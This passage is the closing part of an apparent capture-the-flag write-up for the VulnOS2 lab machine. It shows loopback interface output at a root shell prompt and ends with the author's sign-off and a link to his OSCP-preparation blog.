lo        Link encap:Local Loopback  

          inet addr:127.0.0.1  Mask:255.0.0.0

          inet6 addr: ::1/128 Scope:Host

          UP LOOPBACK RUNNING  MTU:65536  Metric:1

          RX packets:1167 errors:0 dropped:0 overruns:0 frame:0

          TX packets:1167 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 txqueuelen:0 

          RX bytes:388950 (388.9 KB)  TX bytes:388950 (388.9 KB)

root@VulnOSv2:/tmp# 

And this is all for this lab machine, I hope that you enjoy with the VulnOS2 server and you'll follow my blog [https://roadtooscp-f0ns1.blogspot.com/].

 We'll keep in touch.

with kind regards, f0ns1